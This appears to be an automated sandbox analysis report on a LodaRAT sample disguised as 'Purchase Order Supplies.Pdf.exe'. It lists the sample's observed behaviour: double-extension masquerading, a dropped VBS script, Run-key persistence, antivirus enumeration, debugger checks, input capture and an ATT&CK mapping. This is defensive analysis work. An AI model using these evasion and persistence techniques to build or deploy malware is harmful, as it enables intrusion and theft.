Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'Purchase Order Supplies.Pdf.exe'

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

File read: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe "C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe"
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Process created: C:\Windows\SysWOW64\wscript.exe WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Process created: C:\Windows\SysWOW64\wscript.exe WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CF20F6 LoadLibraryA,GetProcAddress,

1_2_00CF20F6

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00D205A8 push ss; ret	1_2_00D205A9
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CB7795 push ecx; ret	1_2_00CB77A8
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CB18F0 push cs; retf	1_2_00CB18F5

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

File created: C:\Users\user\AppData\Roaming\Windata\Google Update.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KKRBIX			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run KKRBIX			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: icon (2112).png

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.exe

Static PE information: Purchase Order Supplies.Pdf.exe

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CAF78E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		1_2_00CAF78E
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CF7F0E IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		1_2_00CF7F0E

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CB1E5A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00CB1E5A

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Window / User API: threadDelayed 6867			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Window / User API: foregroundWindowGot 1772			Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

API coverage: 6.2 %

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe TID: 7040

Thread sleep time: -68670s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Thread sleep count: Count: 6867 delay: -10

Jump to behavior

Source: Yara match	File source: 00000003.00000002.2476240013.0000000003460000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2471256103.00000000030F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2471256103.00000000030D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2485820292.0000000004D11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Purchase Order Supplies.Pdf.exe PID: 7036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 6900, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, type: DROPPED

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CADD92 GetFileAttributesW,FindFirstFileW,FindClose,	1_2_00CADD92
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CE2044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	1_2_00CE2044
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CE219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	1_2_00CE219F
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CE24A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	1_2_00CE24A9
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CD6B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	1_2_00CD6B3F
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CD6E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	1_2_00CD6E4A
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CDF350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	1_2_00CDF350
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CDFDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	1_2_00CDFDD2
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CDFD47 FindFirstFileW,FindClose,	1_2_00CDFD47

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CAE47B GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

1_2_00CAE47B

Source: Purchase Order Supplies.Pdf.exe, 00000001.00000002.2476015733.00000000013AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Purchase Order Supplies.Pdf.exe, 00000001.00000002.2476015733.00000000013AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %SystemRoot%\System32\winrnr.dllHyper-V RAW
Source: Purchase Order Supplies.Pdf.exe, 00000001.00000002.2476015733.00000000013AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	API call chain: ExitProcess graph end node			graph_1-110108
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	API call chain: ExitProcess graph end node			graph_1-110518

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CE703C BlockInput,

1_2_00CE703C

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00C9374E GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,

1_2_00C9374E

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CC46D0 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,

1_2_00CC46D0

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CF20F6 LoadLibraryA,GetProcAddress,

1_2_00CF20F6

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CBA937 GetProcessHeap,

1_2_00CBA937

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CB8E19 SetUnhandledExceptionFilter,		1_2_00CB8E19
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CB8E3C SetUnhandledExceptionFilter,UnhandledExceptionFilter,		1_2_00CB8E3C

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CCBE95 LogonUserW,

1_2_00CCBE95

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00C9374E GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,

1_2_00C9374E

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CD4B52 SendInput,keybd_event,

1_2_00CD4B52

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CD7DD5 mouse_event,

1_2_00CD7DD5

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CCB398 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,RtlAllocateHeap,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

1_2_00CCB398

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CCBE31 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

1_2_00CCBE31

Source: Purchase Order Supplies.Pdf.exe	Binary or memory string: Shell_TrayWnd
Source: Purchase Order Supplies.Pdf.exe, 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CB7254 cpuid

1_2_00CB7254

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CB40DA GetSystemTimeAsFileTime,__aulldiv,

1_2_00CB40DA

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00D0C146 GetUserNameW,

1_2_00D0C146

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CC2C3C __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

1_2_00CC2C3C

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

Code function: 1_2_00CAE47B GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

1_2_00CAE47B

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Purchase Order Supplies.Pdf.exe, 00000001.00000002.2476015733.00000000013AD000.00000004.00000020.00020000.00000000.sdmp, Purchase Order Supplies.Pdf.exe, 00000001.00000002.2485288040.0000000004CA6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntiVirusProduct

Stealing of Sensitive Information

Yara detected LodaRAT

Source: Yara match

File source: Process Memory Space: Purchase Order Supplies.Pdf.exe PID: 7036, type: MEMORYSTR

Source: Purchase Order Supplies.Pdf.exe, 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 10, 2USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytea
Source: Purchase Order Supplies.Pdf.exe, 00000001.00000002.2485288040.0000000004CA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81
Source: Purchase Order Supplies.Pdf.exe	Binary or memory string: WIN_XP
Source: Purchase Order Supplies.Pdf.exe	Binary or memory string: WIN_XPe
Source: Purchase Order Supplies.Pdf.exe	Binary or memory string: WIN_VISTA
Source: Purchase Order Supplies.Pdf.exe	Binary or memory string: WIN_7
Source: Purchase Order Supplies.Pdf.exe	Binary or memory string: WIN_8

Source: Yara match

File source: Process Memory Space: Purchase Order Supplies.Pdf.exe PID: 7036, type: MEMORYSTR

Remote Access Functionality

Yara detected LodaRAT

Source: Yara match

File source: Process Memory Space: Purchase Order Supplies.Pdf.exe PID: 7036, type: MEMORYSTR

Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CE91DC socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		1_2_00CE91DC
Source: C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe	Code function: 1_2_00CE96E2 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		1_2_00CE96E2

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	11 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Valid Accounts	2 Valid Accounts	121 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 Software Packing	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 Process Injection	1 DLL Side-Loading	LSA Secrets	51 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	21 Masquerading	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
